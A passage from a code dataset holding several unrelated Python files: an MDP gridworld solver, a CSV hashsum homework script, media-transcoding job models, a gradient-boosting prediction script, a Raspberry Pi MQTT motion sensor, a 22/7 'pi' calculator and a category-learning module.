1 < self.states-1 and (s%self.l) > 0 and s + self.l - 1 not in self.obstacles:\n return s + self.l - 1\n\n #if a=8, stay\n elif a == 8:\n return s\n\n #catchall\n return s\n\n \"\"\"\n This function makes the transition probability matrix\n \"\"\"\n def make_transition(self):\n for a in range(self.actions):\n for s in range(self.states):\n #no probability of failure, so 100% chance of transitioning to desired state\n self.P[a,s,self.act(a,s)] = 1\n\n \"\"\"\n This function sets up the rewards and the transition function\n \"\"\"\n def setup(self):\n self.make_rewards_human()\n self.make_transition()\n self.value_iter_human()\n\n self.make_rewards()\n self.value_iter()\n\n\n def square(self,s):\n return(s%self.l,int(s/self.l))\n\n def qlearn(self, niter, seed=0):\n np.random.seed(seed)\n sol = mdptoolbox.mdp.QLearning(self.P, self.R_human, .95, niter)\n sol.run()\n# print(\"Q Learning\")\n# for s, v in enumerate(sol.V):\n# print(self.square(s), v)\n return sol.policy\n\n def policy_shaping(self, niter, C, L, seed=0):\n vi = mdptoolbox.mdp.ValueIteration(self.P, self.R_human, .95)\n vi.run()\n np.random.seed(seed)\n sol = mdptoolbox.mdp.PolicyShaping(self.P, self.R_human, .95, C, L, vi.policy, niter)\n sol.run()\n# print(\"Policy Shaping\")\n# for s, v in enumerate(sol.V):\n# print(self.square(s), v)\n return sol.policy\n\n \"\"\"\n This function does value iteration on human's mdp\n \"\"\"\n def value_iter_human(self):\n vis = []\n #for all possible goals\n for g in self.goals:\n #save a copy of the human's rewards\n R_copy_human = deepcopy(self.R_human)\n P_copy = deepcopy(self.P)\n #for all goals besides g, set the reward to -1\n for g_other in self.goals:\n if g != g_other:\n for i in range(R_copy_human.shape[1]):\n if i in self.diagonals:\n R_copy_human[g_other][i] = -2\n else:\n R_copy_human[g_other][i] = -1\n for a in range(self.actions):\n P_copy[a,g_other,self.act(a,g_other,g=g)] = 1\n P_copy[a,g_other,self.act(a,g_other)] = 0\n #solve values for when the human's goal is g\n vi_copy_human = mdptoolbox.mdp.ValueIteration(P_copy, R_copy_human, self.gamma)\n vi_copy_human.run()\n\n #save values and policies in dictionary indexed by goal\n self.Vs_human[g] = vi_copy_human.V\n self.policies[g] = vi_copy_human.policy\n# for s in range(100):\n# print(str(self.square(s)) + \" \" + str(self.policies[40][s]) + \" \" + str(self.Vs_human[40][s]))\n#print(str(self.square(s)) + \" \" + str(self.policies[59][s]) + \" \" + str(self.policies[92][s]))\n#print(str(self.square(s)) + \" \" + str(self.Vs_human[59][s]) + \" \" + str(self.Vs_human[92][s]))\n#print(str(self.Vs_human[40][s] == self.Vs_human[92][s]))\n\n \"\"\"\n This function does value iteration on the robot's mdp\n \"\"\"\n def value_iter(self):\n #solve values and policies for the robot for all goals set to 100 reward\n vi = mdptoolbox.mdp.ValueIteration(self.P, self.R_robot, self.gamma)\n vi.run()\n self.V = vi.V\n self.policy = vi.policy\n vis = []\n #for all possible goals\n for g in self.goals:\n #copy the robot's rewards\n R_copy_robot = deepcopy(self.R_robot)\n #for all goals besides g, set the reward to -1\n for g_other in self.goals:\n if g != g_other:\n for i in range(R_copy_robot.shape[1]):\n if i in self.diagonals:\n R_copy_robot[g_other][i] = -2\n else:\n R_copy_robot[g_other][i] = -1\n\n #solve values for when the goal is g\n vi_copy_robot = mdptoolbox.mdp.ValueIteration(self.P, R_copy_robot, self.gamma)\n vi_copy_robot.run()\n\n #save values in dictionary indexed by goal\n self.Vs_robot[g] = vi_copy_robot.V\n\n# for s in range(100):\n# print(str(self.square(s)) + \" \" + str(self.Vs_robot[92][s]))\n\n\n\ndef main():\n mdp = MDP()\n\nmain()\n","sub_path":"src/navigation_task.py","file_name":"navigation_task.py","file_ext":"py","file_size_in_byte":8388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"406140976","text":"import os\nimport hashlib\nimport csv\nimport unittest\n\nfrom contextlib import contextmanager\n\nCSVPATH = os.path.join(os.getcwd(), 'need_hashes.csv')\nTXTPATH = os.path.join(os.getcwd(), 'need_hashes.txt')\n\n# CSVPATH = os.CSVPATH.join(os.getcwd(), 'lesson_1', 'homework', 'need_hashes.csv') # path if we run in console\n# https://raw.githubusercontent.com/pablorus/GB_Python2/master/lesson_1/homework/need_hashes.csv # csv source\n'''\nwith open(CSVPATH, 'r', encoding='cp1251') as f: # by default csv file opens in cp1251??; equivalent to \"open(CSVPATH) as f\"\n lines = f.read().splitlines()\n print(lines[1]) # РЇ люблю Питон;md5;\n'''\n\n\n@contextmanager\ndef error_handler(data):\n '''\n exception handler for get_hashsum()\n :param data: any value\n :return: if string, return bytes, encoded in utf-8; return unchanged data if already in bytes\n raise exception if object doesn't support .encode() method or wrong hash type use in get_hashsum()\n '''\n try:\n yield data # exceptions below doesn't not work if error happened in this part!!!\n except AttributeError: # exceptions for get_hashsum()\n print(\"ERROR. Cannot convert data into byte string, wrong data type\")\n except ValueError:\n print('ERROR. Cannot recognize hash type from the string')\n\n\ndef get_hashsum(data, hash_type):\n '''\n convert data into bytes (if not yet) and returns its hash-sum\n :param data: 'string' type (utf-8 encoding string) or 'bytestring' type (any other encoding string, eg. ascii or cp1251)\n :param hash_type: string name of desired hash algorithm, eg. md5 or sha256\n :return: hash-sum\n doctests:\n >>> get_hashsum('I love Python', 'abra')\n ERROR. Cannot recognize hash type from the string\n >>> get_hashsum(['I love Python', 355], 'md5')\n ERROR. Cannot convert data into byte string, wrong data type\n '''\n with error_handler(data) as data: # using context manager for error handling\n if data is not bytes:\n data = data.encode('utf-8') # encode our string into bytes with utf-8\n h = hashlib.new(hash_type, data) # create new hash object\n return h.hexdigest() # return hex representation\n\n\ndef get_string_data(path, delimiter=';', file_encoding='utf-8'):\n '''\n :param path: path to the csv file\n :return: nested lists of 2 first values in each line [[line[0], line[1]], ...]\n '''\n with open(path, 'r', encoding=file_encoding) as f: # !!! usually csv has cp1251 encoding but our csv is in utf-8\n reader = csv.reader(f, delimiter=delimiter)\n return [[line[0], line[1]] for line in reader if line] # put values into nested lists\n\n\ndef write_hashes(source_path, destination_path):\n '''\n open source_file\n take the 1-st value in a line, convert it to bytes\n take hash type from 2-nd value\n write hash-sum of 1-st value to the 3-d position\n :param CSVPATH: CSVPATH to the file\n :return: None\n '''\n data_lines = get_string_data(source_path) # get data from source_path\n for line in data_lines: # append a hashsum into the 3d place in each nested list(line)\n values, hash_name = line[0], line[1]\n line.append(get_hashsum(values, hash_name))\n with open(destination_path, 'w', encoding='UTF-8', newline='') as f: # without newline='', it puts '\\n' at the end\n if destination_path.endswith('.csv'): # specific way of writing csv -> .writerow\n f = csv.writer(f, delimiter=';')\n for line in data_lines:\n f.writerow(line)\n elif destination_path.endswith('.txt'): # join data inside lines with ';', join lines with '\\n'\n f.write('\\n'.join(';'.join(values) for values in data_lines))\n\n\n### Assert test part ###\n\ndef test_get_hashsum_hashsum():\n assert get_hashsum('I love Python', 'md5') == '27eb2f69c24aa5f3503a6ae610f23a83', 'False: hashsum'\n\n\ndef test_write_hashes(tested_path=CSVPATH, sample_path=TXTPATH, delimiter=';', file_encoding='utf-8'):\n '''\n test if our string data in sample_path is equal to data in tested_path\n '''\n def get_line(path):\n with open(path, 'r', encoding=file_encoding) as file:\n if path.endswith('.csv'):\n file = csv.reader(file,\n delimiter=delimiter) # Each row read from the csv file is returned as a LIST of strings!\n for line in file:\n yield ';'.join(line) if path.endswith('.csv') else line # convert list to string if csv file\n\n for a, b in zip(get_line(tested_path), get_line(sample_path)):\n # print('\"{}\" AND \"{}\"'.format(a.strip(), b.strip())) # track trailing spaces and '\\n'\n assert a.rstrip() == b.rstrip(), 'Lines {} AND {} are not equal'.format(a, b)\n\n\n### Unittest part ###\n\nclass TestFile (unittest.TestCase):\n '''\n test if our string data in sample_path is equal to data in tested_path\n '''\n def test_write_hashes(self, tested_path=CSVPATH, sample_path=TXTPATH, delimiter=';', file_encoding='utf-8'):\n def get_line(path):\n with open(path, 'r', encoding=file_encoding) as file:\n if path.endswith('.csv'):\n file = csv.reader(file,\n delimiter=delimiter) # Each row read from the csv file is returned as a LIST of strings!\n for line in file:\n yield ';'.join(line) if path.endswith('.csv') else line # convert list to string if csv file\n\n for a, b in zip(get_line(tested_path), get_line(sample_path)):\n # print('\"{}\" AND \"{}\"'.format(a.strip(), b.strip())) # track trailing spaces and '\\n'\n self.assertTrue (a.rstrip() == b.rstrip())\n\n\n### RUN part ###\n\nif __name__ == \"__main__\":\n write_hashes(CSVPATH, CSVPATH)\n ### TESTS ###\n test_get_hashsum_hashsum()\n test_write_hashes(tested_path=CSVPATH, sample_path=TXTPATH)\n\n import doctest\n\n doctest.testmod()\n\n unittest.main()\n\n\n\n# lines = f.read().splitlines()\n# # ba = bytearray(lines[1], 'cp1251')\n# ba = lines[1].encode('cp1251')\n# print(ba)\n# # ba2 = bytearray(lines[1], 'utf-8')\n# ba2 = lines[1].encode('utf-8')\n# print(ba2)\n# # print(ba.decode('utf-8')) # work\n# print(ba2.decode('utf-8'))\n# print(lines[1])\n\n# s2 = lines[1]\n# print(type(s2))\n# print(s2)\n# print(bytearray(s2, 'ascii'))\n","sub_path":"lesson_1/homework/hashsum.py","file_name":"hashsum.py","file_ext":"py","file_size_in_byte":6344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"541305999","text":"# -*- coding: utf-8 -*-\n# tim.lansen@gmail.com\n\nimport uuid\nfrom typing import List\nfrom .record import *\n\n\n# Result is what Task or Job emits on completion\n\nclass Task(Record):\n class Status:\n UNDEFINED = 0\n WAITING = 1\n EXECUTING = 2\n FINISHED = 3\n CANCELED = 4\n\n class Type:\n PROXY = 1\n ARCHIVE = 2\n PRODUCTION = 3\n\n class Priority:\n OOPS = 1\n NEED_IT_YESTERDAY = 2\n URGENT = 3\n WHY_NOT = 4\n NORMAL = 5\n DEFAULT = 6\n IDLE = 7\n\n def __init__(self, task_info=None):\n super().__init__(name='', guid=0)\n self.status = 0\n self.jobs = None\n self.priority = Task.Priority.DEFAULT\n self.depends = None\n if task_info is None:\n # Create new task\n self.guid.new()\n self.jobs = []\n self.priority = 10\n else:\n # Update task by input data\n if type(task_info) is dict:\n self.update_json(task_info)\n else:\n self.update_str(task_info)\n\n def add_job(self, job):\n self.jobs.append(job)\n\n # def execute(self):\n # # Queue up task's jobs\n # pipe = self.redis.pipeline()\n # for job_id in self.data['jobs']:\n # pipe.smove('wait', 'cue', job_id)\n # pipe.hset(job_id, 'phase', 'cue')\n # pipe.execute()\n # job_cue_signal(self.redis, self.guid)\n\n # Table description\n TABLE_SETUP = {\n \"relname\": \"trix_tasks\",\n \"fields\": [\n [\"status\", \"integer NOT NULL\"],\n [\"jobs\", \"uuid[]\"],\n [\"priority\", \"integer\"],\n [\"depends\", \"uuid\"]\n ],\n \"fields_extra\": [],\n \"creation\": [\n \"GRANT INSERT, SELECT, UPDATE, TRIGGER ON TABLE public.{relname} TO {node};\",\n \"GRANT INSERT, DELETE, SELECT, UPDATE, TRIGGER ON TABLE public.{relname} TO {backend};\"\n ]\n }\n\n\nclass Job(Record):\n class Type:\n UNDEFINED = 0x00\n # Get info about media[, partially scan it to detect in/out/padding/...]\n PROBE = 0x01\n # Encode video\n ENCODE_VIDEO = 0x04\n # Encode audio\n ENCODE_AUDIO = 0x08\n MUX = 0x10\n DOWNMIX = 0x20\n UPMIX = 0x40\n ENCRYPT = 0x80\n ASSEMBLE = 0x100\n NVENC = 0x200\n\n # Special types\n # This flag that tells that job is a DUMMY job that aggregates virtual 'promised' objects (uids) stored in args\n # and all that dispatcher have to do is to copy params to result, and then launch result handler\n TRIGGER = 0x0800\n # Create proxy video and audio tracks by channels, extract audio to separate tracks,\n # scan A/V to detect in/out/padding/loudness/..., save frames info including hashes\n CPEAS = 0x8000\n PEAS = 0x8001\n EAS = 0x8002\n # Aggregate results from CPEAS\n INGEST_AGGREGATE = 0x8002\n # Create slices\n SLICES_CREATE = 0x8003\n SLICES_CONCAT = 0x8004\n\n # Presets:\n SIMPLE_TYPE = PROBE | ENCODE_VIDEO | ENCODE_AUDIO | MUX | DOWNMIX | UPMIX | ENCRYPT\n\n class Info(JSONer):\n class Aliases(JSONer):\n def __init__(self):\n super().__init__()\n # Mandatory field\n self.tmp = '/tmp'\n\n class Step(JSONer):\n class Chain(JSONer):\n class Progress(JSONer):\n def __init__(self):\n super().__init__()\n # int: Index of process in chain to capture stderr output\n self.capture = 0\n # str: Name (id) of parser\n self.parser = None\n # float: Progress parser's output value, example: \"ffmpeg_video\"\n self.pos = 0.0\n # float: Top progress value\n self.top = 1.0\n\n def __init__(self):\n super().__init__()\n # list(list(str)): List of processes with arguments that should be run on this chain, example:\n # [ [\"ffmpeg\", \"-loglevel\", \"error\", \"-stats\", \"-y\", \"-i\", \"${f_src}\", \"-t\", \"600\", \"-acodec\", \"pcm_s32le\", \"-f\", \"sox\", \"-\"],\n # [\"sox\", \"-t\", \"sox\", \"-\", \"-t\", \"sox\", \"${p_fv1}\", \"remix\", \"1v0.5,2v-0.5\", \"sinc\", \"-p\", \"10\", \"-t\", \"5\", \"100-3500\", \"-t\", \"10\"] ]\n self.procs = None\n # list(list(int)): List of acceptable return codes for every process in self.procs\n # len(self.return_codes) == len(self.procs), len(self.return_codes[x]) may be 0 => don't care of RC\n # [ [0, 2], [0] ]\n self.return_codes = None\n # Progress class: Progress object\n self.progress = self.Progress()\n\n def __init__(self, name=None):\n super().__init__()\n # (str) Step's name, example:\n # \"Convert audio stereo -> 5.1\"\n self.name = name\n # (list(str)) List of pipe files being created to perform job step, example:\n # [\"${p_fv1}\", \"${p_fv2}\", \"${p_bv1}\", \"${p_bv2}\", \"${p_lf1}\", \"${p_lf2}\", \"${p_FLFR}\", \"${p_BLBR}\", \"${p_LFE}\", \"${p_FC}\"]\n self.pipes: List[str] = []\n # (float) Step's weight in job - the complexity of step\n self.weight = 1.0\n # (list(Chain)) List of process chains being started in parallel by this step\n self.chains: List[Job.Info.Step.Chain] = []\n\n def __init__(self):\n super().__init__()\n # dict(str: str): Aliases that may be used in params or in other aliases, example:\n # { \"tmp\": \"/tmp/${asset}\",\n # \"jname\": \"Fox.Epic\",\n # \"p_fv1\": \"${temp}/${jname}.fv1.sox\",\n # \"p_fv2\": \"${temp}/${jname}.fv2.sox\" }\n self.aliases = self.Aliases()\n # Names are strings that may help identify program\n self.names: List[str] = []\n # List of directories to create,\n # or list of input files for PROBE type\n self.paths: List[str] = []\n self.steps: List[Job.Info.Step] = []\n # list(MediaChunk|MediaFile): List of expected results\n # Node that executes this job should update MediaChunk or MediaFile(s) listed here\n # [\n # {\"type\": \"MediaChunk\", \"info\": {\"ownerId\": \"\", \"ownerIndex\": \"\"}}\n # ]\n # OR\n # [\n # {\"type\": \"MediaFile\", \"info\": {\"guid\": \"\"}},\n # {\"type\": \"MediaFile\", \"info\": {\"guid\": \"\"}},\n # {\"type\": \"Asset\", \"info\": {\n # \"guid\": \"\",\n # \"proxyId\": \"\",\n # \"streams\": [\n # {\"source\": {\"mediaFileId\": \"\", \"streamKind\": \"VIDEO\", \"streamKindIndex\": 0}},\n # {\"destination\": {\"streamKind\": \"VIDEO\"}}\n # ]\n # }},\n # {\"type\": \"Asset\", \"info\": {\n # \"guid\": \"\",\n # \"streams\": [\n # {\"source\": {\"mediaFileId\": \"\", \"streamKind\": \"VIDEO\", \"streamKindIndex\": 0}},\n # {\"destination\": {\"streamKind\": \"VIDEO\"}}\n # ]\n # }}\n # ]\n # OR\n # [\n # {\"type\": \"MediaFile\", \"info\": {\"guid\": \"\"}},\n # {\"type\": \"MediaFile\", \"info\": {\"guid\": \"\"}},\n # {\"type\": \"MediaFile\", \"info\": {\"guid\": \"\"}},\n # {\"type\": \"Asset\", \"info\": {\n # \"guid\": \"\",\n # \"streams\": [\n # {\"source\": {\"mediaFileId\": \"\", \"streamKind\": \"AUDIO\", \"streamKindIndex\": 0}},\n # {\"destination\": {\"streamKind\": \"VIDEO\"}}\n # ]\n # }}\n # ]\n # self.results: List[Job.Result] = []\n\n def max_parallel_chains(self):\n \"\"\"\n Expose maximum parallel chains that require to pass final results\n :return: int\n \"\"\"\n return max([len(s.chains) for s in self.steps]) if len(self.steps) else 0\n\n class Status:\n INACTIVE = 0\n NEW = 1\n WAITING = 2\n OFFERED = 3\n EXECUTING = 4\n FINISHED = 5\n FAILED = 6\n CANCELED = 7\n\n class Emitted(JSONer):\n class Result(JSONer):\n class Source(JSONer):\n def __init__(self):\n super().__init__()\n # Address of text source to capture\n self.step = 0\n self.chain = 0\n self.proc = 0\n self.parser = None\n\n def __init__(self):\n super().__init__()\n # Data source address\n self.source = self.Source()\n # Parsed data\n self.data = None\n # Result handler (member function of JobUtils.ResultHandlers)\n self.handler = None\n\n # class CollectorId(Guid):\n # def __init__(self):\n # super().__init__()\n\n def __init__(self, jobId: Guid):\n super().__init__()\n self.jobId = jobId\n # Results handler procedure (member function of JobUtils.ResultHandlers)\n self.handler = None\n # Aggregating collector's id\n # self.collectorId = self.CollectorId()\n # List of job results\n self.results: List[self.Result] = []\n\n # Guid type support class\n class GroupId(Guid):\n def __init__(self):\n super().__init__()\n\n def update_json(self, json_obj):\n super().update_json(json_obj)\n self.emitted.jobId = self.guid\n\n def update_str(self, json_str):\n super().update_str(json_str)\n self.emitted.jobId = self.guid\n\n class DependsOnGroupId(Guid):\n def __init__(self, value=None):\n super().__init__(value=value)\n\n class Task(Guid):\n def __init__(self, guid):\n super().__init__(value=guid)\n\n def __init__(self, name='', guid=0, task_id=0, job_type=Type.UNDEFINED):\n super().__init__(name, guid)\n self.task: self.Task = self.Task(task_id)\n self.type = job_type\n self.info: Job.Info = Job.Info()\n self.fails = 0\n self.offers = 0\n self.status = self.Status.NEW\n self.priority = 0\n # float: Overall job progress, 0.0 at start, 1.0 at end\n self.progress = 0.0\n # List of groups that this job belongs to\n self.groupIds: List[Guid] = []\n # This job depends on jobs from group , independent if self.dependsOnGroupId.is_null()\n self.dependsOnGroupId = self.DependsOnGroupId()\n # Condition is a pythonic expression that can be evaluated in job's context???\n self.condition = None\n\n # Job results\n self.emitted: Job.Emitted = Job.Emitted(self.guid)\n\n # Table description\n TABLE_SETUP = {\n \"relname\": \"trix_jobs\",\n # Each job may depend on group, and/or have launch condition\n # taskId: uid of parent task\n # groupId: uid of group, it's being assigned when creating a group dependent job\n # depends: uid of group of jobs that must be finished before this job is started\n \"fields\": [\n [\"task\", \"uuid NOT NULL\"],\n [\"type\", \"integer NOT NULL\"],\n [\"info\", \"json NOT NULL\"],\n [\"fails\", \"integer NOT NULL\"],\n [\"offers\", \"integer NOT NULL\"],\n [\"status\", \"integer NOT NULL\"],\n [\"priority\", \"integer NOT NULL\"],\n [\"progress\", \"double precision\"],\n [\"groupIds\", \"uuid[]\"],\n [\"dependsOnGroupId\", \"uuid\"],\n [\"condition\", \"json\"],\n [\"emitted\", \"json\"]\n ],\n \"fields_extra\": [],\n \"creation\": [\n \"GRANT INSERT, SELECT, UPDATE, TRIGGER ON TABLE public.{relname} TO {node};\",\n \"GRANT INSERT, DELETE, SELECT, UPDATE, TRIGGER ON TABLE public.{relname} TO {backend};\"\n ]\n }\n\n\ndef test() -> Job:\n job: Job = Job('Test job: downmix', 0, 0)\n job_obj = {\n \"guid\": str(uuid.uuid4()),\n \"name\": \"Test job: downmix\",\n \"type\": Job.Type.DOWNMIX,\n \"info\": {\n \"aliases\": {\n # Temporary folder\n \"tmp\": \"/tmp/slot00\",\n \"alias\": \"Disney.Frozen\",\n \"f_src\": \"/mnt/server1_id/crude/in_work/avatar_audio_stereo.mp4\",\n \"f_dst\": \"${previews}/${new_media_id}/avatar_audio_downmix.mp4\",\n \"asset_id\": \"49cf7a5b-02ed-453a-8562-32c5b34d471a\",\n \"new_media_id\": \"1122334455667788\",\n \"previews\": \"/mnt/server1_id/web/preview\"\n },\n # Folders to be created before start processing\n \"paths\": [\n \"${tmp}/pipes\",\n \"${previews}/${new_media_id}\"\n ],\n \"steps\": [\n {\n \"name\": \"Downmix audio stereo -> mono\",\n \"weight\": 0.999,\n \"chains\": [\n {\n \"procs\": [\n \"ffmpeg -y -loglevel error -i ${f_src} -t 600 -c:a pcm_s32le -f sox -\".split(' '),\n \"sox -t sox - -t sox - remix 1v0.5,2v0.5 sinc -p 10 -t 5 100-3500 -t 10\".split(' '),\n \"ffmpeg -y -loglevel error -stats -f sox -i - -c:a aac -strict -2 -b:a 64k ${f_dst}\".split(' ')\n ],\n \"return_codes\": [[0, 2], [0], [0]],\n \"progress\": {\n \"capture\": 2,\n \"parser\": \"ffmpeg_progress\",\n \"top\": 600.0\n }\n }\n ]\n },\n {\n \"name\": \"Combined Info\",\n \"weight\": 0.001,\n \"chains\": [\n {\n \"procs\": [\n [\"ExecuteInternal.combined_info\", \"{}\", \"${f_dst}\"]\n ]\n }\n ]\n }\n ]\n },\n \"emitted\": {\n \"results\": [\n {\n \"source\": {\n \"step\": 1\n },\n \"handler\": \"mediafile\",\n }\n ]\n }\n }\n job.groupIds.append(Guid())\n job.groupIds.append(Guid(0))\n job.update_json(job_obj)\n # print(job.dumps(indent=2))\n return job\n","sub_path":"backend/modules/models/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":15162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"446061924","text":"'''\r\n------------------------------------------Importing the Libraries--------------------------------------------\r\n'''\r\nprint('Importing the Libraries Started')\r\nimport numpy as np\r\nimport pandas as pd\r\nimport swifter\r\nimport os\r\nfrom sklearn.model_selection import train_test_split\r\nimport math\r\nfrom imblearn.over_sampling import SMOTE \r\nimport pickle\r\nfrom scipy.sparse import csr_matrix\r\nfrom functions import *\r\n\r\ndef main():\r\n\r\n '''\r\n -----------------------------------------Setting the Home Directory--------------------------------------------\r\n '''\r\n print('Setting the Home Directory Started')\r\n abspath = os.path.abspath(__file__)\r\n dname = os.path.dirname(abspath)\r\n os.chdir(dname)\r\n\r\n '''\r\n ------------------------------------------Importing the Dataseet--------------------------------------------\r\n '''\r\n print('Importing the Dataseet Started')\r\n train = pd.read_csv('train.csv')\r\n test = pd.read_csv('test.csv')\r\n test_bkp = test\r\n data = pd.concat([train,test],axis = 0, sort= False).reset_index()\r\n pd.options.display.float_format = '{:.4f}'.format \r\n\r\n '''\r\n ----------------------------------------Checking for data details--------------------------------------------\r\n '''\r\n print('Checking for data details Started')\r\n print(\"Train shape is \", train.shape)\r\n print(\"TEst shape is \", test.shape)\r\n print('Balance of Class is ', sum(train.is_promoted)/train.shape[0] )\r\n #print(data.isnull().sum()) #To Check missing values per column\r\n #print(data.describe()) #To Check the Descriptive Statistics of the Data\r\n #print(data.dtypes) #To Check the Data type of each column\r\n\r\n '''\r\n ----------------------------------------Missing values Treatment--------------------------------------------\r\n '''\r\n print('Missing values Treatment Started')\r\n data['previous_year_rating'] = data['previous_year_rating'].fillna(3) #default rating is 3\r\n data['education'] = data['education'].fillna(\"Bachelor's\")\r\n\r\n '''\r\n ----------------------------------------Feature Engineering--------------------------------------------\r\n '''\r\n print('Feature Engineering Started')\r\n data = drop_cols_with_unique_values(data)\r\n #data['exp_category'] = data['length_of_service'].swifter.apply(get_experience_category)\r\n col_to_scale = ['no_of_trainings','age','previous_year_rating','length_of_service',\r\n 'avg_training_score']\r\n\r\n for col in col_to_scale:\r\n data[col] = scaling(data,col)\r\n\r\n one_hot_check = True\r\n if one_hot_check:\r\n data = one_hot(data , 'department') \r\n data = one_hot(data , 'region') \r\n data = one_hot(data , 'education') \r\n data = one_hot(data , 'gender') \r\n data = one_hot(data , 'recruitment_channel') \r\n \r\n data.drop(['employee_id','index'],axis = 1 , inplace= True) #Dropping in Age In Days Since we are going with Age in Years\r\n\r\n '''\r\n -------------------------------------Build Machine Learning Model--------------------------------------------\r\n '''\r\n print('Splitting Train and Test')\r\n #print(data.head(5))\r\n #Spliting the train , test after the preprocessing the result [test date will go for Final evaluation in Hackathon]\r\n test = data[data.is_promoted.isnull()].reset_index(drop = True)\r\n train = data[~data.is_promoted.isnull()].reset_index(drop = True)\r\n '''\r\n X_train, X_test, Y_train, Y_test = train_test_split(train.loc[:,train.columns!='is_promoted']\r\n ,train.is_promoted, test_size=0.2, random_state=35)\r\n \r\n '''\r\n X_train = train.loc[:,train.columns!='is_promoted']\r\n Y_train = train.is_promoted\r\n cat_features = np.where(X_train[X_train.columns].dtypes == np.object)[0]\r\n seed = 27\r\n test = test.drop(['is_promoted'],axis = 1,inplace = False)\r\n pred_train1, pred_test1, cutoff1 = lgbm_fit_predict(X_train.values, Y_train, test)\r\n pred_train2, pred_test2, cutoff2 = catboost_fit_predict(X_train.values, Y_train, cat_features, test)\r\n pred_train3, pred_test3, cutoff3 = fit_predict_xgboost(X_train.values, Y_train, test, X_train.columns)\r\n\r\n pred_train = (pred_train1 + pred_train2 + pred_train3)/3\r\n pred_test = (pred_test1 + pred_test2 + pred_test3)/3\r\n cutoff = (cutoff1 + cutoff2 + cutoff3)/3\r\n print(cutoff)\r\n submission_check = True\r\n if submission_check == True:\r\n print('Predicting Test Data and Submission')\r\n submission = pd.DataFrame({'employee_id': test_bkp.employee_id, 'is_promoted': pred_test})\r\n submission.to_csv('submission_prev.csv',index=False)\r\n submission['is_promoted'] = [1 if score > cutoff else 0 for score in submission['is_promoted']]\r\n submission.to_csv('submission1.csv',index=False)\r\n print(submission.head(5)) \r\n\r\nif __name__ == '__main__':\r\n main() ","sub_path":"only_cat_boost.py","file_name":"only_cat_boost.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"114146148","text":"#!/usr/bin/python3\n\"\"\"\n\nMotion only routine to message a buzzer\n\nCreated on Fri Apr 27 11:55:45 2018\n\n@author: msydor\n\"\"\"\n\n# Operating States...\n#\nMOTION = False # cotrols the time-lapse loop\n\n# Motion Sensor location\n#\nPIN_MOTION = 4\n\nimport paho.mqtt.client as mqtt\nimport RPi.GPIO as GPIO\nimport signal\nimport time\n\nglobal ACTIVE\nACTIVE = False\n\ndef lightSleep( delay ):\n for i in range(0, int(delay*10 )):\n time.sleep(0.1)\n\ndef h_signal(signum, frame):\n\n global ACTIVE\n global MOTION\n\n \n if ( signum == signal.SIGQUIT):\n print('h_signal::Shutdown signal received')\n MOTION = False\n \n signal.alarm(0) # clear alarm state \n \ndef h_active(PIN_MOTION): # sensor callback\n global MOTION \n print('h_active::got MOTION event') \n MOTION = True # enable MOTION loop\n \n client.publish(\"pcam/motion\",\"EVENT\")\n \n # BLOCK for 5 seconds, so as not to annoy the receiver\n time.sleep(5)\n\n\n \ndef on_connect(client, userdata, flags, rc):\n \n global CONNECTED\n \n if rc == 0:\n \n print(\"MOTION::Connected to broker\")\n \n global Connected #Use global variable\n CONNECTED = True #Signal connection \n \n else:\n \n print(\"MOTION::Connection failed\")\n \n\n \n# GPIO setup\n#\n#GPIO.cleanup(PIN_MOTION)\n\nGPIO.setwarnings(True)\nGPIO.setmode(GPIO.BCM) # GPIO.BOARD | GPIO.BCM\n\n\nGPIO.setup(PIN_MOTION, GPIO.IN) #Read output from PIR motion sensor\nGPIO.add_event_detect(PIN_MOTION, GPIO.RISING) \nGPIO.add_event_callback(PIN_MOTION, h_active) \n\n#PLATFORM = os.getenv('PCAM_NAME')\n#broker_address=os.getenv('MQ_BROKER')\nbroker_address = '192.168.0.54'\n\n#create new instance\n#\nclient = mqtt.Client(\"picam\") \n\n#connect to broker\n#\nprint('MOTION:: broker address:', broker_address)\nclient.connect(broker_address) \nclient.on_connect= on_connect #attach function to callback\n\nclient.loop_start() #start the messaging loop\n \nwhile CONNECTED != True: #Wait for connection\n lightSleep(0.2)\n\nwhile CONNECTED: # Main Event loop - waiting for motion\n lightSleep(5)\n MOTION = False\n\nclient.disconnect()","sub_path":"motion_HackCCM.py","file_name":"motion_HackCCM.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"225559904","text":"#To calculate pi to nth digit\r\nnume = 22\r\ndeno = 7\r\nans = \"\"\r\nseclen = len(str(nume//deno))\r\nn = int(input(\"Enter decimal place to which Pi is to be calculated: \"))\r\nwhile len(ans) < n+1+seclen:\r\n if \".\" in ans and nume < 7:\r\n nume = nume*10\r\n elif \".\" not in ans and nume < 7:\r\n ans = ans + \".\"\r\n nume = nume*10\r\n ans = ans + str(nume//deno)\r\n nume = nume%deno\r\nprint(ans)\r\n","sub_path":"pitone.py","file_name":"pitone.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"507259464","text":"#import category_and_learner_objects_3 as cl\nimport update_object_2_2 as u_o # note the change in the update object normally is update_object_2_2\nimport numpy\nimport random\nimport bisect\nimport math\n\n\n\n### This module contains the functions for constructing the links between a single category\n### and a collection of features. The category_feature_links object also contains code\n### for predicting category membership based on available features\n### and updating the strength of the links, given feedback.\n### The first portion of this module is primarily housekeeping functions which are then used\n### by the category_feature_link object.\n\n\ndef multiply_list(array):\n prod = 1\n for i in range(len(array)):\n #print (\"current product is\")\n #print (prod)\n #print (\"multiplied by\")\n #print (array[i])\n #print (\"\\n\\n\")\n prod = array[i]* prod\n\n #print(\" \\n product is\")\n #print (prod)\n #print (\"\\n\")\n\n if prod == 0:\n prod = (1 * (10**(-200)) )\n\n return prod\n\n\n\ndef gibbs_sample(weighted_list):\n\n i_sum = 0\n for i in range(len(weighted_list)):\n i_sum = i_sum + weighted_list[i]\n\n comparison = random.random()\n i = 0\n while comparison > 0:\n comparison = comparison - weighted_list[i]\n if comparison < 0:\n return_position_and_value = [i, 